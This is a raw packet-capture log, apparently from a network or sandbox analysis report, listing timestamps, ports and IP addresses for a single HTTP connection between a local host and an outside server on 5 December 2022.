Dec 5, 2022 06:44:36.539072037 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539088964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539107084 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539114952 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539125919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539141893 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539144039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539159060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539163113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539182901 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539189100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539207935 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539216995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539221048 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539236069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539254904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539268970 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539274931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539288044 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539294004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539300919 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539319992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539338112 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539419889 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539438963 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539455891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539474010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539483070 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539491892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539515018 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539525986 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539671898 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539688110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539705992 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539710045 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539724112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539726973 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539741039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539745092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539757967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539766073 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539777040 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539778948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539793968 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539798975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539817095 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539822102 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539834023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539840937 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539851904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539859056 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539869070 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539871931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539890051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539891005 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539907932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539910078 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539918900 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539927006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539944887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539947033 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539963007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539973974 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539979935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.539992094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.539998055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540011883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.540016890 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540020943 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.540034056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540043116 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.540051937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540069103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540174007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540190935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540208101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540225029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540241003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540256977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540272951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540290117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540306091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540323019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540353060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.540380001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540396929 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540414095 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540431976 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540447950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540466070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540481091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540497065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540498972 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.540514946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540533066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540549994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540553093 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.540553093 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.540566921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540584087 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540589094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.540597916 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.540601015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540617943 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540635109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540643930 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.540652990 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540654898 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.540671110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540679932 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.540689945 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540703058 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.540708065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540725946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540728092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.540745020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540751934 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.540762901 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540776968 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.540807009 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.540910959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540927887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540945053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540961027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540966988 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.540978909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.540988922 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.540997028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541009903 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.541016102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541023016 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.541034937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541038990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.541048050 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.541053057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541070938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541093111 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.541104078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541111946 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.541121960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541137934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541141033 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.541157007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541163921 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.541172981 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.541177034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541191101 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.541194916 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541213036 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541233063 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.541253090 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.541271925 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541289091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541306973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541323900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541327000 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.541341066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541349888 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.541358948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541377068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541419029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541439056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541455030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541471958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541487932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541505098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541521072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541537046 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541553020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541569948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541635990 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541654110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541671038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541687965 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541703939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541721106 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541738987 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541774988 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.541852951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541871071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541887999 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541903973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541922092 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541939020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541954041 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.541954994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541974068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.541989088 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.541990995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542011023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542021990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.542027950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542045116 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.542047977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542068005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542088032 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.542176008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542192936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542211056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542227983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542231083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.542246103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542253971 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.542263985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542279959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542285919 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.542298079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542315006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542324066 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.542332888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542355061 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.542365074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542382956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542399883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542406082 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.542418003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542434931 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.542603970 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542623997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542640924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542648077 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.542660952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542678118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542680979 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.542696953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542715073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542733908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542735100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.542752981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542756081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.542772055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542789936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542792082 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.542809010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542826891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542844057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542845011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.542861938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542869091 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.542895079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542902946 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.542913914 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542932987 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542952061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542968035 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.542968988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542989016 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.542992115 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543112040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543132067 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543148994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543153048 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543168068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543176889 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543186903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543204069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543205976 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543221951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543240070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543250084 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543256998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543276072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543287992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543294907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543313026 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543318033 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543332100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543349981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543366909 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543368101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543386936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543390036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543405056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543422937 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543422937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543445110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543462992 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543479919 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543481112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543499947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543507099 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543518066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543535948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543543100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543554068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543570995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543579102 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543589115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543613911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543620110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543639898 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543654919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543670893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543674946 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543689966 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543697119 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543706894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543730021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543850899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543869019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543884993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543901920 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543905020 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543920994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543929100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543940067 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543956995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543962002 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.543975115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.543991089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544008017 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544009924 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544024944 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544032097 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544044018 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544060946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544066906 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544080019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544096947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544100046 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544115067 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544131994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544135094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544148922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544166088 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544183969 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544184923 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544203997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544207096 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544222116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544239044 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544241905 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544256926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544274092 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544290066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544292927 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544306993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544312000 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544323921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544344902 CET	49704	80	192.168.2.3	66.235.200.147
